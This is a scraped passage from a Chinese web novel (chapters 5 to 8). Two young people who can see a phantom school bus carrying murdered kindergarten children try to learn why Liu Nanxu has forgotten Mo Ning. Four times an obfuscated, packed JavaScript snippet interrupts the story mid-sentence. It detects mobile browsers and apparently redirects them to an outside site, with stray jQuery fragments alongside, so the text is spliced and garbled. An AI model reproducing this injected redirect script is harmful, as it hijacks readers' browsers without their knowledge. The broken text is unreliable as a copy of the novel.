l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187515|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒说:“哎!哥们儿,天气不好,走路注意安全别跑神儿啊!我在你后面摁半天喇叭了,我这着急见客户一直过不去。”
柳南絮这才意识到自己并没有走人行道的最里面,忙说:“实在不好意思。”
“没事儿没事儿,谢了。”年轻小伙子挥挥手,一溜烟走远了。
思绪被打断后,柳南絮站在原地环顾了一下四周,觉得自己简直是有病,为什么要去琢磨人家的校车,司机走哪里和自己又没有关系。
这样想完,装在口袋里面的手机无缝衔接开始震个不停。
“嘟嘟嘟……”
柳南絮掏出来一看来电是许静。
“喂,妈,怎么了?”
许静那边的声音很嘈杂,应该是还在学校。
“儿子,你这会儿忙不?”
柳南絮继续往前走:“不忙,怎么了?”
许静乐呵呵地说:“正好,家里有些生活物品用完了,你帮忙去买一下,我给你发清单。”
“好。”
柳南絮挂断电话调转方向前往商场,那里面的东西比较齐全。
把手机塞回口袋之前,他下意识留意了一眼时间。
十一点二十九分。
又是一个客流量的高峰期,柳南絮不太想人挤人,于是不紧不慢走着磨蹭时间。
令他没想到的是,半道上会出现一个小插曲。
不,不对。
是大插曲。
太阳花幼儿园校门前面停着一辆校车,鲜明的黄色无法压制住里面诡异的画面,只能把人心底的崩溃拉扯到突破常人难以承受的地步。
柳南絮看着明明不久前还在路上行驶的校车,现下紧挨人行道,死气沉沉地停在幼儿园校门前,他这辈子第一次希望是自己病了,病到了出现幻觉的程度。
可是他的专业知识当即把这个“希望”否认掉。
柳南絮没有注意到自己的手在小幅度抖动,满脑子都是要打电话报警。
三个数字才刚按了一个,身后突然冲过来个完全不认识的女孩儿,并大声制止道:“柳南絮,等一下。”
柳南絮下意识停下,脸上的惊恐也跟着被藏起来一点。
女孩儿弯腰大喘着气,说话断断续续的:“等一下,别……别报警,没用。”
柳南絮觉得这话简直可笑,出现这么严重的案件怎么能不报警呢?报警没用的话什么有用?
“除了咱俩,别人都看不到。”女孩儿直起身后表情变得更加严肃,“原本我以为只有我自己能看到。”
尽管她说的再怎么认真,柳南絮还是不相信,甚至露出看傻子的眼神。
在此之前他从没用过这种眼神,所以说这个女孩儿也算有本事,至少在“讲故事”的方面简直天赋异禀。
“你不相信我?”女孩儿惊讶到跺脚,“我真没骗你,真的,就咱俩这关系,我骗你干嘛啊?吃饱了闲得没事找事吗?”
柳南絮很确定自己对眼前的人毫无印象,可她一上来就喊出了自己的名字,现在又提到“关系”这两个字,什么关系?
“你是谁?”
互通名字是人与人之间初次见面最基本的对话,哪怕对方已经知道自己叫什么。
5. 第五章
女孩儿觉得柳南絮是在和自己开玩笑,都准备好要翻白眼了,见柳南絮举起手机,在上面再次按下一个数字,立刻回答:“莫宁。”
柳南絮把拿手机的手垂下,又问:“你肯定我们认识?不是在为了阻止我报警开的玩笑?”
莫宁不知道柳南絮到底在搞什么鬼,又生怕他按下最后一个数字,只能无奈地解释。
“我肯定咱俩认识,不认识的话我怎么会知道你的名字,要是想阻止你报警的话,直接冲过来趁你不注意夺走你的手机摔了不就行了,至于和你一起站在这里被行人用八卦的眼神打量吗?”
“你瞧门卫室的大爷,一直瞅着我们,都不带往别处瞧一眼的。”
柳南絮把认识的人在心里来来回回翻了个遍,确定自己不认识一个叫“莫宁”的人,说:“但是我也肯定自己没听过你的名字,更不认识你,要不你证明一下?”
“我刚上幼儿园那会儿,你嘲笑我是个爱哭鬼。”
“我写作业搞不懂让你教我,你又嘲笑我笨。”
“你上小学六年级的时候因为次次考试第一被班里几个学生约架,你以理服人把约架变成比刷题,还拽上我一个一年级的,我不负众望垫了底,他们觉得有了面子,从此和你握手言和。”
“这么不要脸的事,你居然都能给忘了?”
少时玩伴把自己忘得一干二净,莫宁的心情从一开始的无奈逐渐转变成气急败坏,越说越生气,越生气越说。
“咱俩也算是青梅竹马从小一起长大,我被你坑了那么多次都还经常跟在你屁股后面转。”
“虽然长大后因为我到隔壁市上初中,你出省上大学,咱俩就没怎么见过了,但是那也不至于连我的名字都不记得了吧?”
“亏我只凭一个后脑勺就认出了你,不带你这样的。”
莫宁说得口干舌燥,柳南絮却对她说的这些事连一个画面都想象不出来。
虽然没办法确定莫宁说的关于他们之间的往事是真是假,但是柳南絮认同了“报警没用”这种说法。
幼儿园的放学铃声在莫宁沉溺于证明自己没有说谎的时候就已经响起,之后一直是孩子们排队前往食堂的动静。
这说明已经到正午了。
身后明显增多的人流和车流也证实了这一点。
既然如此,堵在人行道上的黄色的校车不可能不被除他和莫宁之外的人注意到,更不可能没有人前来围观以及报警,除非就像莫宁说的——旁人都看不到。
“不对啊!你的记性不是一直很好吗?小时候看故事书,每次都是看一遍就能记住了。”
“你就算不记得小时候的事,也不应该连我这个人都不记得吧?我妈和许阿姨玩得那么好,这么多年许阿姨就没有在你面前提起过我家?”
莫宁还在念念叨叨,柳南絮没管她,垂眼去看校车的车牌号。
豫MMP443。
果然又是这个。
从小到大,柳南絮经常被夸赞记性好,但他其实并不敢保证自己的记忆力一定可靠。
要不是由于校车在早上为了赶路临时到非机动车道上蹭了一段路,他离得近留意了一下车牌,柳南絮无论如何也不会相信世界上会有这么离奇的事情。
离奇到骇人的地步。
车牌号确认过后,柳南絮强迫自己把视线上移,透过透明玻璃,他再次看到里面的画面。
除了凄惨,还是凄惨。
柳南絮觉得自己闻到的应该是血腥味儿,而不是带着浓雾味道的空气。
“柳南絮,”莫宁及时察觉出不对劲,喊了一声连忙上前把人拽停,“我数过了,九个人,你别看了。”
她知道柳南絮晕血,打小就晕。
好在死亡校车上的血迹不多,几乎全都集中在司机那里。
柳南絮听到答案仍旧不肯停下脚步,莫宁用蛮力,他也用蛮力,硬是带着人姑娘绕校车走了一圈。
校车内并没有坐满,空着大半,挨个查了一遍,七个小孩子,再带上一个司机和一个女老师,总共就是九个人。
这些人的结果是……全部身亡。
死状非常非常惨。
小孩子们躺在座椅上,呈蜷缩状态,双手和双脚还都用绳子绑着,致命伤在脖子上,伤口细长且深,柳南絮初步猜测是被利刃割破的。
最奇怪的是,并没有血迹从他们的伤口处渗出,不管是身上还是别的地方,都没有血迹。
司机脸上戴着口罩,头上扣着一顶鸭舌帽,脸趴在方向盘上,双手僵硬下垂,额角有一滩血迹。这种情况要么是被人砸伤的,要么就是他自己撞伤的,但并没有到要命的程度。
柳南絮眼尖地注意到车门的门缝上有血迹,绕到另一侧凑近了些往里面仔细看,可遮挡太多,还是没能看清。
女老师相当年轻,忽略脸上青一块紫一块的伤,能看出来是个很漂亮的人,感觉才刚大学毕业没多久的样子。
她趴在最前面的过道上,脑袋扬着,大概是在努力往前看,胳膊同样向前伸,手做出拉扯的形态,嘴巴被一块红色的布堵着,始终睁开的双眼中满满都是对于死亡的恐惧,马尾的发型乱糟糟的,皮筋松松垮垮滑落到头发中间偏下点的位置,结合脸上的伤,大概率是和凶手对抗过的。
只不过……失败了。
年轻的女老师应该是想尽全力保护学生,宁愿舍弃自己的生命,也要以最大程度地给孩子们争取逃跑的机会。
那么问题来了,这位女老师的身上同样没有血迹,脸上和裸漏的皮肤上除了淤青外也并没有伤口,而淤青虽然密集,不至于能要她的性命。
她的致命伤会在哪里?
“柳南絮,柳南絮,喂!”
莫宁喊了半天都不管用,索性伸手去拍柳南絮的肩膀。
柳南絮被吓了一跳,下意识问:“什么?”
莫宁委屈巴巴地说:“你的手机响了,喊你半天都不理我,只能上手了。”
柳南絮低头看向在口袋里震个不停的手机,掏出来后对莫宁道过歉才接听。
油烟机的声音很大,许静把音量拔高,问:“儿子啊!你走到哪儿了?妈下面条,你再不回来吃坨了可就不好吃了。”
柳南絮这才想起来自己为什么会在这里,回:“好,知道了,我这边走快点。”
说话语气像什么都没发生一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187516|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“那就行。”许静说完又急急忙忙地补充,“路上注意安全,这个点人多。”
“好。”
滴滴……
刚把手机塞回口袋,耳边骤然响起两声鸣笛声。
声音很近很近,仿佛就在耳朵边上产生的,可柳南絮还是往马路上瞅了一眼。
空中漂浮着的浓雾现在已经变淡很多,能看出马路上的车流很顺畅,没有一丝拥挤,根本不需要按喇叭催促。
难道是……
柳南絮小心翼翼地把目光移向死亡校车,发现刚才校车里面的画面大变,哪儿有什么小孩子的身影,只有司机和年轻女老师。
而且他们两个居然——都活了。
他们说话的声音分明没有漏出来,柳南絮只觉得笑声震耳欲聋。
喇叭声响过后等了片刻,司机放下刹车,踩下油门,转动方向盘,一套动作行云流水,校车行驶得非常稳当。
眼见校车要开走,柳南絮毫不犹豫就要跟上,被莫宁及时拉住卫衣帽子。
“你觉得你两条腿能追上那几个轮子吗?”莫宁说着低头去看柳南絮的腿,看完还故意点点头,“腿还挺长。”
柳南絮看出来莫宁这是在开玩笑缓和气氛,但眼下的情况对他来说过于离谱,不是开玩笑的时候。
相处的这一会儿,柳南絮感觉莫宁这个人话虽然多,但面色镇定。
从细微的动作判断,她内心是真的很平静,全程下来都没有觉得不可思议,也没有觉得害怕。
这种心态的产生应该是因为了解。正是因为知道接下来会发生什么,反而见怪不怪,甚至习以为常了。
迟钝到现在,柳南絮终于意识到想要弄清楚现在到底是个什么情况,不如从莫宁身上入手。
想到这点,他立刻把注意力从早已经开远的死亡校车上转移到面前的人身上。
“你为什么会这么了解?是不是这辆校车刚开始出现的时候你就看见了,之后一直等在附近观察路人的反应,注意到我也能看见,所以才冲过来提醒我?”
听到这些话,莫宁心里面总算有了把握,笑着安慰柳南絮道:“我知道你现在觉得惊奇,我第一次遇见这种情况反应比你还大。”
“第一次?”柳南絮抓到了要点,“这种情况出现过很多次?”
这条有效信息是莫宁故意放出来的,就是为了告诉柳南絮,关于死亡校车,自己比任何人都要了解。
莫宁没有直接回答,而是说:“你问了我这么多问题,也该我问你一个了吧?”
她比自己知道的信息多,有资格掌握主动权,柳南絮简洁明了地说:“问。”
莫宁收起脸上的笑意,问:“你是不是失忆了?”
之所以这样问,是因为大多数时候,能搭上点正面关系的人要比完全陌生的人可信些。
更何况她了解柳南絮,知道除非在对自己极其不利的情况下会撒谎外,这个人根本懒得费工夫扯谎。
既然柳南絮想弄清楚到底是个什么情况,根本不可能会撒谎撇清和同样能看到死亡校车的自己之间的关系。
那么只有一种可能,就是:柳南絮失忆了。
6. 第六章
而她之所以要放消息钓柳南絮的胃口,是知道柳南絮这个人极其外热内冷,只有在自己对他有用的情况下,才能促成想要同他合作的主要目的。
好歹小时候相处了那么多年,就算被忘了,但对他的了解还是实实在在有的。
柳南絮是觉得自己本身的记忆有缺失的部分,但更确定自己并没有受过重伤,不可能会失忆。
当主观意识和客观意识发生冲突时,柳南絮的回答往往会选择客观意识,即便心里的天秤更倾向于主观意识。
“没有。”
琢磨出来的唯一可能被当即否认,莫宁沉默了。
出现这种情况,肯定有问题。
要不就是柳南絮在撒谎,要不就是她自己记忆紊乱了。
但是柳南絮没撒谎的必要,自己也确定记忆没有出现问题。
莫宁想骂街,思绪完全被堵死了。
这下问题变得更大了。
见莫宁的情绪因为自己的回答变得很低落,柳南絮礼貌性地等了她一会儿才开口说:“除此之外,你还有什么要问的吗?”
不等莫宁想好怎么说,门卫室里面的大爷扬声插话进来。
“喂!”
等柳南絮看过去后,大爷才满意地继续往下说:“对,就是你们,我都瞅你们好长时间了,这么冷的天儿,你们在幼儿园校门口站着干什么呢?看你们还这么年轻,应该是还没有孩子的吧?”
听到大爷最后说的话,莫宁整个人都震惊了,仿佛听到什么不得了的事,睁大眼睛赶紧解释道:“我,我们,这,什么孩子,怎么可能?”
“就是说嘛!不过我看姑娘你的反应,这小伙子应该是还没有追上你。”
大爷把视线从莫宁身上移到柳南絮身上,笑呵呵地帮他分析原因,说:“小伙子,就你这大冷天的把人姑娘带路边吹冷风,怎么可能会追到?”
“不是,我这么年轻,眼瞎了也看不上他。”莫宁简直要无语死了。
大爷秉持着“不听不听,这个线我今天必须牵”的原则继续给柳南絮出主意,说:“听大爷我的话,去找一个小年轻喜欢去的什么什么……哦!对,奶茶店,有什么想说的话去那里坐着说,暖和还不累。”
莫宁快步走到门卫室,再次表明:“我们真的没有关系,真的,您信我,别瞎说了。”
大爷一副看透一切的表情,说:“大爷我看人可是很准的,小姑娘就别害羞了嘛!”
柳南絮适时开口,抬手指着桌子上分明还在冒热气的茶说:“大爷,茶再不喝就凉了。”
“哎!对,我的茶。”大爷赶紧低头去找茶杯,“这杯茶用的可是好茶叶,放凉太浪费了。”
大爷说完捧着保温杯低头闻了一下茶香,满足地喝了一口,然后嘴就被烫出了一个泡。
但大爷不在乎受到的小小伤害,他看着早已经瞅准时机离开的柳南絮和莫宁的背影,吹着茶自言自语。
“这小子的情商忒低,还是大爷我的情商高,要不说我家老婆子还真是蛮有福气的嘛!还有我孙子,过年带对象回家,也是因为听了我的主意,去了那什么游乐园玩,两人的感情才会到现在都好着呢!”
二人自然没有去奶茶店,只是从幼儿园校门前的路边挪到了前面的路边。
柳南絮依旧站着,莫宁实在太累索性蹲下。
他们各自都遇到了屏障,一堆没有出口的疑惑死死卡在屏障后面,最终一个遥望马路发呆,一个低着头发呆。
太阳这会儿出来了,原本的浓雾现在浅淡得可以忽略不计,早间新闻的预报可靠性再度增加。
许静第三通电话打过来后,柳南絮提出道别。
莫宁突然想到,既然想知道到底是柳南絮失忆他自己却并不知情,还是自己记忆出现紊乱,去找许阿姨聊聊不就好了。
想到这里,她赶紧起身,说:“我也去。”
柳南絮看着莫宁没说话,他在思考要不要答应。
如果不确定莫宁的话是否可信,答应带她去是很好的证明办法。
莫宁被柳南絮盯得心里面发毛,解释说:“我是想去找许阿姨聊天的,我们那么长时间没有见面,她肯定会想我,我登门拜访的话,她一定会特别高兴,说不定会连吃两碗饭。”
柳南絮没理她,列出两种可能性。
如果她说的都是真的,问题就变成了自己为什么会失忆;如果她说的不是真的,问题就变成了如何解释带陌生姑娘回家。
对比之下,柳南絮觉得还是弄清楚自己到底失没失忆比较重要。
“行。”
柳南絮带着莫宁继续往前走,走出去好长一段路后,他想到了什么,说:“我妈最近在减肥,不掉秤不会甘心,所以你不用让她高兴到多吃两碗饭,一碗就行。”
莫宁又笑了,说:“哎哟哟!瞅瞅我这多年不见的青梅竹马,长大后还是那么孝顺啊!”
柳南絮不知道怎么往下接,就没理她,专心看路。
莫宁说话之前就猜到柳南絮会是这个反应了,两人小时候相处就是这样,一个负责说,一个负责在,听不听都是另一说,所以她早就习惯了。
二人奔着家属楼的方向前进,当走过位于马路另一边的南巷街时,那辆匀速前进离开的死亡校车再次从里面钻出来,悄无声息地驶向了太阳花幼儿园。
校车这次在校门前停下后,里面仍旧是血淋淋的画面,只不过随后整辆校车就消失了。
不是缓慢式消失的,而是速度相当快的那种,眨眼之间。
在此同时,在空中浮沉的浓雾彻彻底底消散干净了。
眼前的景色清明起来,远远就能看到家属楼的身影。
土黄色的外墙因长年累月为人们遮风挡雨变得灰扑扑,如果它有生命,一定是位弯着腰、驼着背的年迈老人。
家属楼没有电梯,只能爬楼梯。
莫宁往扶手上一摸,弄了一手的灰。她把手拍干净,说:“这里变化还挺大,要不是你带我来,我都找不到路。”
柳南絮并不认为在科技发展飞速的现在,找路是什么麻烦事儿。
“要是真想来,随便拦一辆出租车,报了地址就能来,再不济手机上随便一个地图,一查都能找到。”
一连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187517|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说了两个“随便”,柳南絮这是有意在呛莫宁。
“你的意思是在说我不是真心想来的?”
莫宁用反问掩下心虚,强行为自己辩解。
“主要是我来这边实习带的钱先拿去租房子了,两手空空冒然登门拜访觉得像是蹭吃蹭喝的,我本来打算回头工资发下来提着果篮子看许阿姨的,你误会我了。”
柳南絮停在家门口掏钥匙开门,推门之前故意扫了莫宁一眼。
误会?
柳南絮觉得可笑,算是通过这两个字见识到了莫宁的脸皮到底有多厚。
他敢肯定,要不是见自己也能看到那辆死亡校车,莫宁怕是根本不会和自己搭话。
房间里面静悄悄的,除他们外就没人了。
莫宁急于见到许静要一个答案,以至于进门后抢先在空荡荡的房间找了一圈,确定人不在家后情绪都变得失落起来。
柳南絮也想要个答案,但心里面的疑惑实在太多,以至于心情和平常一样,毫无变化。
既然请人到家里做客,待客之道总归是要有的。
柳南絮倒了杯温水放在莫宁面前,说:“我妈应该是去学校了,你先坐。”
说了大半天的话,莫宁早就口渴了,端起水杯一口气喝完。
柳南絮把玻璃水壶的把手转向莫宁,示意她自己倒着喝。
莫宁没有倒水,捧着空水杯不好意思地说:“那什么……”
柳南絮还真没想到莫宁还会感到不好意思,直言道:“不客气。”
“我想吃饭。”
两人同时出声。
莫宁愣了一下,随后大笑一通,说:“柳南絮,你这是在学人培养幽默细胞吗?为什么会觉得我是要和你客气啊!”
柳南絮的脸色顿时冷下去,没好气地说:“自己盛去。”
莫宁是真的不客气,在柳南絮说话之前就已经站起身往厨房走,再出来时甚至还帮柳南絮盛了一碗。
柳南絮端着手里面的饭,一时间大无语,怀疑来做客的是他。
面条早就已经坨了,不过两人实在太饿,所以吃得还是很香。
吃饱喝足后柳南絮去整理厨房,出来后见莫宁在看电视,想:这人到底是不是来蹭吃蹭喝的?
白花花的墙面上挂着一块表,时间在上面转圈,发出“咔嚓咔嚓”的声音。
见柳南絮忙完出来,莫宁赶紧问:“这才两点十五,许阿姨怎么去那么早?她现在是有班要带吗?”
柳南絮抽出一张卫生纸擦拭手上的水渍,回:“不带班,可能是临时有事。”
“行吧!”莫宁拍拍沙发,招呼道,“这电视剧还挺有意思的,你要是没事过来坐会儿。”
柳南絮懒得和她讨论什么才是一个合格的客人,只觉得这人很可笑,明明心思一点都不在电视剧上,偏偏还要装出一副看得入神的样子。
“我有事要忙,你自己看吧。”
柳南絮没顺着莫宁的意思来,说完后把手里的纸团扔进垃圾桶径直进了书房。
至于余光中莫宁急急望过来,一副欲言又止的样子,他视若无睹。
7. 第七章
柳南絮就是故意的,从莫宁得知自己不认识她之后,就开始时不时暗示她知道很多信息,还一次又一次拉近两人之间的关系,很明显是有意合作。
而自己见到死亡校车的反应过于强烈,莫宁肯定猜到他想要弄清楚一切,所以,肯定会接受“合作”的提议。
莫宁没有猜错,他当然会。
只是,一旦因为想要获取信息而接受合作,两人之间的差距就被拉扯开了,所以在此之前,他要想办法尽可能地平衡两人之间的差距,才不至于在合作过程中处境过于被动。
故意晾着莫宁,就是在向她表明自己并没有她想象中那么着急知道死亡校车的来龙去脉,所以哪怕掌握大量信息,也不代表就有资格领导他。
和书房仅有一墙之隔的客厅,莫宁在听到房门关上的那一瞬间就把遥控器丢在了沙发上,然后往后靠到沙发背上望着天花板,整个人看起来懒洋洋的,但没有一丝觉得电视剧有意思的样子。
她知道要想拉柳南絮合作会很难,想必自己的那些小伎俩早就被他看出来了,说不定这会儿就在心里笑话自己蠢。
但是她暗中留意了这么多年,就找到柳南絮这一个能看到死亡校车的人。但凡有另一个选择,她都不会巴巴跟到家里来证明自己。
在死亡校车开走的时候,莫宁拽住柳南絮还有一个最主要的原因,就是故意阻拦柳南絮自己去获取信息。
柳南絮知道的越多,自己对他来说用处就越小,合作促成的可能性也就越小。
只有在他一无所知的情况下,比如现在,柳南絮才极有可能答应合作。
现在没提出来是因为柳南絮的防备心太高,还是有可能会被拒绝,不如等到许阿姨回来证明了身份后再说,反正死亡校车已经消失了。
莫宁转动脑袋望向钟表,时间没看明白,思绪倒是被带到许久之前。
那是一切刚开始的时候,是她人生遭遇巨大变故的转折点。
她今天安慰柳南絮时说“我第一次遇到这种情况反应比你还大”,这句话不是假的。
几年前,和今天一样的大雾天,莫宁第一次撞见了死亡校车,之后被吓得休学去看心理医生。很长一段时间,她把自己锁在房间里不敢出门,大把大把的药片发疯似的往嘴里面塞。
可就算那样,死亡校车的画面还是一帧一帧地在她脑海中浮现,无时无刻不在折磨着她。
蝴蝶效应就此产生。
画面逼疯了莫宁,莫宁又煎熬着父母。
父母不知道自己好端端的女儿为什么突然变成了这个样子,心累过后情绪开始崩溃,于是一点小事就能引发双方争吵,泄的不是小事的愤,而是对于困境的愤。
莫宁是个大局意识很强的人,她不愿意看到家庭不合,不愿意被困死在那些毫无缘由的画面里,所以她往外挣扎,尝试走出房间,走出家门,重新回归学校,恢复以往正常有序的生活。
拼着劲,她成功了。
可是当她第二次撞见死亡校车时,恐惧更加汹涌地席卷而来。
蝴蝶再次扇动了翅膀。
这次没有人能救她了,她也……
不想自救了。
当时莫宁确确实实是那样想的。
只是她注意到妈妈会无意识地发呆流眼泪,注意到白发在妈妈头顶肆意疯长。
莫宁知道,妈妈是在替她难过,更是在自责没能照顾好她。
可是妈妈又有什么错呢?
那自己呢?又有什么错?
寻找了一圈,只能是死亡校车的错。
如果那些画面是幻觉,凭什么一场幻觉就能轻而易举摧毁她的人生?如果是真的,为什么只有她能看见?
莫宁不服,那个时候她初三,即将中考。
咬紧牙关再次踏入学校后,只需一眼,就能注意到同学们都在疏远她,老师们都不在乎她。
这也很好理解,八卦在学生之间传播速度极快,她“休学”这件事指不定被传成什么样子了。
临近中考,老师们肯定会把注意力集中在好学生的身上,她虽然之前成绩不错,但是初三几乎都耽误了,为了升学率,老师们不可能抽出时间把知识点再单独给她讲一遍。
莫宁对抗着死亡校车带给她的恐惧,顶着升学的压力,仍旧扬起笑面对所有人,哪怕是刺耳的议论声和老师的叹气。
中考过后,莫宁已经不会大哭和大笑了。她忘记了如何调整情绪,脸上的表情只有一个微笑。
妈妈连续几天好说歹说,莫宁久违地踏进了医院看心理医生。
心理医生诊断后表示,莫宁的状态非常糟糕,再次提出药物治疗。
之前莫宁一直拒绝,妈妈也不好强迫她。
这一次,妈妈和医生站在一个战线上。
那天的阳光很强烈,把人烘烤得有点烦躁。
莫宁脸上仍旧笑着,连眼睛都在笑,只有说话的音调透露着她此时的痛苦。
她说:“妈妈,就让我这样吧!我真的不是病了。”
熬着熬着,中考成绩出来了,考得一般,但有学上。
盼着盼着,录取通知书回来了。
莫宁报考的第一志愿是临平市第一高级中学,许静教学就是在这里。可惜没考上,滑档到了第二志愿。
同样都是在临平市市区内的,只是离太阳花幼儿园有些远。
莫宁就是专门往这边考的,她在逼迫自己往下查,哪怕背负更为巨大的崩溃和痛苦。
不为别的,只为了给自己失去的那一年人生一个完美的交代。
没想到,五年过去,她已经二十岁了,还是没能弄清楚到底是怎么回事。
莫宁这些年看似慢慢好转过来了,只有她自己知道,现在这副乐观向上的样子,不过是为了能让家庭和睦装出来的。
今天是五年来第一次遇到和她一样能看见死亡校车的人,所以莫宁是真的很高兴和庆幸。
只是高兴和庆幸之余,无论如何,都必须让柳南絮同意和自己合作。
她不想再承受莫名其妙的折磨了,只想尽快解决好一切。
两个人劲儿往一处使,肯定比单枪匹马容易。
这也是为什么莫宁要多种手段轮番上阵的原因,她不敢得罪柳南絮,因为不知道下一个能看见死亡校车的人会在什么时候出现。
一个五年就够让人受的了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187518|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>时间一分一秒地流淌着,不处于一间屋子的两个人互相试探,一个不敢轻易提出合作,一个一心把局面扭转到对自己有利的程度。
房间里面除了电视的声音就没了,家长里短的情节惹得莫宁打了一个长长的哈欠,咂咂嘴,居然真的慢慢睡着了。
没多久,书房的房门被人打开。
柳南絮出来看见仰头睡着的莫宁,莫名真的生出一种似曾相识的感觉。
只是那感觉太过于模糊,他实在无法确定,不由得看着莫宁皱起了眉头。
门锁被人在外面转动的时候,柳南絮迅速把眉头松开,恢复成面无表情的样子又钻进书房。
许静打开门看到沙发上坐着一个陌生女孩儿只怀疑自己走错了门,低头看看手里面的钥匙,又退出去看看门牌号,再进入玄关环视屋内陈设。
都没错,除去多了一个没见过的女孩儿。
许静还站在门口,柳南絮从书房出来了。
“妈,你回来了。”
“嗯!”许静压着声音,指着莫宁,问,“这是什么情况?”
柳南絮背着手把书房的门拉上,确认问道:“你不认识她?”
“不认识,我还以为是你突然交了个女朋友带回来给我们看呢!”
确认自己没进错门,许静乐呵呵地进了屋,放下手提包后又觉得柳南絮的话哪里不对,问:“你别告诉我,人家一说和我认识就给领家里来了,那样太没安全意识了。”
被许静这么一说,柳南絮也觉得自己警惕性太低,明明可以让莫宁留张照片回来给许静认的,怎么就轻易把人直接带家里来了?
“我这……”柳南絮无话可说,转身把睡着的人叫醒。
莫宁睁开眼,视线一下子扫描到许静身上,站起身就来了个久别重逢的拥抱。
猝不及防来这么一出,许静觉得太奇怪了,只好开玩笑般地说:“儿子,你这是上哪儿找的女朋友啊!性格这么好,这么热情。”
柳南絮想纠正他和莫宁的关系,刚张口,就被莫宁抢先了去。
莫宁的反应比柳南絮要大得多,又是否认“女朋友”这个词,又是介绍自己的身份。
“许阿姨,我不是柳南絮的女朋友,我就是在路上遇见他了,您把我给忘了吗?我,我是莫宁啊!”莫宁把脸往许静面前凑,“我是你最好的朋友尚玉珍的那个女儿。”
许静隐隐觉得熟悉,一时半会儿又确定不下来,作出思考状回想了好长一会儿,想到头都疼了,身子晃了晃险些倒过去。
柳南絮快步上前把挡在前面的莫宁推到一边,及时扶着许静坐到沙发上,然后倒了杯水递给她,说:“妈,喝口水,想不起来就别想了。”
许静摇摇头,没接水杯,说:“我没事,就是觉得这两个名字很熟悉。”
“许阿姨,不着急,你慢慢想。”莫宁也没想到事情会朝着这个方向发展,一时间感觉自己处境有些窘迫,站也不是,坐也不是,走也不是,留也不是的。
许静若有所思地说:“确实是要再想想,熟悉又记不太清楚。”
莫宁被柳南絮看了一眼,急中生智道:“这样,我说些事儿,你听听有印象没。”
8. 第八章
见许静点头,莫宁连忙走近几步到沙发旁边坐下。
“我妈生我那天,你专门请假去医院探望,还把一个月工资塞给她,说是给我包的红包。”
“后来我学会说话,第一个喊的我妈,第二个喊的就是许阿姨。”
“你把我当亲女儿疼,我的作业几乎都是在你家写的,你要是有空就辅导我做作业,没空就让柳南絮教我。”
“我家搬家那天,你专程帮忙,为此还被沙发腿压到了手,好一阵才好,我妈天天打电话问你有没有事了。”
“还有,还有……”
莫宁提到这茬,许静印象更深了,头渐渐不疼了。
“哦!对了对了,那什么,儿子,”许静指着自己的房间,看向柳南絮,“我床头柜里面有一个盒子,你帮我拿过来。”
柳南絮应了一声去拿。
一个不算大的铁盒子,光是外面的锈迹就很明显,里面叮铃咣铛的,听着像是放了许多小玩意儿。
许静接过打开后,低头一边翻翻找找,一边自言自语,说:“我怎么这么多年都没打开过呢?还真是奇了怪了。”
小玩意儿杂七杂八的,瞧着都不值钱。
颜色夸张的头花和简易的橡皮筋,没剩几根毛的毽子,破旧的沙包,纽扣串成的手串,一个握都握不住的铅笔头……
除此之外,还有一张折了一道的本子纸和一个信封。
本子纸已经泛黄了,展开后可以看出还是从作业本上撕下来的。
最上面写着“道歉信”三个字,下面的内容都是在认错。
通篇都是用铅笔写的,字迹显得有些稚嫩,有些字还用了拼音代替,但态度诚恳。
许静看哭了,两滴泪“吧嗒吧嗒”掉到纸页上,最后把信封拿在了手上。
她没有直接打开,而是先酝酿了好长一会儿才把里面的东西慢慢掏出来。
都是照片,除了几张五寸照片外,还有几张一寸的彩色照片。
“许阿姨,这是我妈尚玉珍,你记起来了吗?”
许静拿着照片不停翻看,一寸的彩色照片上都是同一个姑娘,每一张之间的变化不算明显,但一张一张划过,满满都是岁月更替的味道。
从五寸照片开始,姑娘怀里开始多出一个孩子来。姑娘瞬间晋升成一个母亲,孩子也随着照片的变换渐渐出落成一位亭亭玉立的小姑娘。
柳南絮认出来了,照片上的小姑娘,和莫宁非常相像。
许静看完照片后很长时间都没有说话,只一个劲儿地落泪。柳南絮再次把水杯递给她,这次倒是接下了。
“我这为什么会哭呢?简直莫名其妙。”许静说着喝了一口水,然后又奇怪道,“我和玉珍那么多年的好朋友,怎么就给忘了呢?我们之间又没有闹不愉快,实在是奇怪,这不应该啊!”
